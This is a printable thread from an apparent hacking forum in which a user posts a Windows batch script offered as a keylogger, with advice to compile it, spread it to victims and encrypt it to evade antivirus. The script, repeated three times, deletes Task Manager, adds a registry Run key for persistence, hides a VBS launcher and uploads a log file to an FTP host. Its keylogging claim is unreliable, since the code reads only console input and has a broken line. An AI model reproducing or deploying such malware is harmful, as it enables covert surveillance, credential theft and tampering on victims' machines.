Sinisterly
Keylogger in Batch - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: Coding (https://sinister.li/Forum-Coding--71)
+--- Thread: Keylogger in Batch (/Thread-Keylogger-in-Batch)

Pages: 1 2


Keylogger in Batch - Jacob - 08-30-2011

Where it says "username and password" and the "host" enter the correct details, uploads FTP only.
After you enter your log details properly compile into .EXE and then spread. Will get detected easily by the way, so you probably want to Encrypt it.

Deleted task manager so that the keylogger cannot be terminated.
Code:
@echo off del C:\WINDOWS\TASKMAN.exe echo set shell = CreateObject("Wscript.Shell") >> C:\windows\stsyk.vbs echo shell.run "C:\windows\k.bat", 0 >> C:\windows\stsyk.vbs echo @echo off >> C:\windows\k.bat echo color c9 >> C:\windows\k.bat echo :go >> C:\windows\k.bat echo echo .>>c:\keys.txt >> C:\windows\k.bat echo echo : >> C:\windows\k.bat echo set /p keys= >> C:\windows\k.bat echo echo %keys%>>c:\keys.txt >> C:\windows\k.bat echo @echo off >> C:\windows\k.bat echo ftp >> C:\windows\k.bat echo open blabla.hoster.com >> C:\windows\k.bat echo username >> C:\windows\k.bat echo password >> C:\windows\k.batecho put c:\keys.txt >> C:\windows\k.bat echo quit >> C:\windows\k.bat echo goto go >> C:\windows\k.bat echo start C:\windows\stsyk.vbs >> C:\windows\k.bat echo reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "stsyk.vbs" /d "C:\WINDOWS\" start C:\windows\stsyk.vbs



Keylogger in Batch - Jacob - 08-30-2011

Where it says "username and password" and the "host" enter the correct details, uploads FTP only.
After you enter your log details properly compile into .EXE and then spread. Will get detected easily by the way, so you probably want to Encrypt it.

Deleted task manager so that the keylogger cannot be terminated.
Code:
@echo off del C:\WINDOWS\TASKMAN.exe echo set shell = CreateObject("Wscript.Shell") >> C:\windows\stsyk.vbs echo shell.run "C:\windows\k.bat", 0 >> C:\windows\stsyk.vbs echo @echo off >> C:\windows\k.bat echo color c9 >> C:\windows\k.bat echo :go >> C:\windows\k.bat echo echo .>>c:\keys.txt >> C:\windows\k.bat echo echo : >> C:\windows\k.bat echo set /p keys= >> C:\windows\k.bat echo echo %keys%>>c:\keys.txt >> C:\windows\k.bat echo @echo off >> C:\windows\k.bat echo ftp >> C:\windows\k.bat echo open blabla.hoster.com >> C:\windows\k.bat echo username >> C:\windows\k.bat echo password >> C:\windows\k.batecho put c:\keys.txt >> C:\windows\k.bat echo quit >> C:\windows\k.bat echo goto go >> C:\windows\k.bat echo start C:\windows\stsyk.vbs >> C:\windows\k.bat echo reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "stsyk.vbs" /d "C:\WINDOWS\" start C:\windows\stsyk.vbs



RE: Keylogger Batch - Fuckedyouover - 09-01-2011

(08-30-2011, 09:13 AM)Jacob Wrote: Where it says "username and password" and the "host" enter the correct details, uploads FTP only.
After you enter your log details properly compile into .EXE and then spread. Will get detected easily by the way, so you probably want to Encrypt it.

Code:
@echo off del C:\WINDOWS\TASKMAN.exe echo set shell = CreateObject("Wscript.Shell") >> C:\windows\stsyk.vbs echo shell.run "C:\windows\k.bat", 0 >> C:\windows\stsyk.vbs echo @echo off >> C:\windows\k.bat echo color c9 >> C:\windows\k.bat echo :go >> C:\windows\k.bat echo echo .>>c:\keys.txt >> C:\windows\k.bat echo echo : >> C:\windows\k.bat echo set /p keys= >> C:\windows\k.bat echo echo %keys%>>c:\keys.txt >> C:\windows\k.bat echo @echo off >> C:\windows\k.bat echo ftp >> C:\windows\k.bat echo open blabla.hoster.com >> C:\windows\k.bat echo username >> C:\windows\k.bat echo password >> C:\windows\k.batecho put c:\keys.txt >> C:\windows\k.bat echo quit >> C:\windows\k.bat echo goto go >> C:\windows\k.bat echo start C:\windows\stsyk.vbs >> C:\windows\k.bat echo reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "stsyk.vbs" /d "C:\WINDOWS\" start C:\windows\stsyk.vbs

Freaking awesome, will this work on all OS though?


RE: Keylogger Batch - Jacob - 09-01-2011

Works on windows xp, might want to test on vista/7 because of different directories, filenames etc, etc.


RE: Keylogger Batch - 1234hotmaster - 09-01-2011

cool but how does this keylog? Smile


RE: Keylogger Batch - Jacob - 09-01-2011

captures you keys, sets the in a log.txt file in c:/windows, uploads to FTP specified (you have to edit code to set the host, username and password) using a script. (vb script)


if you read, it creates a shell, makes the text files, starts recording and there ya go. Youll want to encrypt it tough, AV will find it im sure


RE: Keylogger in Batch - 1234hotmaster - 09-01-2011

whats the keylogging function?


RE: Keylogger in Batch - Jacob - 09-01-2011

some method used in shell scripting, i dont know shell scripting too well, google was my best friend.


RE: Keylogger in Batch - 1234hotmaster - 09-01-2011

not working for me Sad

i get "Access Denied" and yes I'm running as admin.

and i get this in a msgbox:

Code:
[Window Title] C:\windows\stsyk.vbs [Content] Windows cannot find 'C:\windows\stsyk.vbs'. Make sure you typed the name correctly, and then try again. [OK]



RE: Keylogger in Batch - Jacob - 09-01-2011

1234hotmaster, pm me every single step that you did and ill tell you what to do and such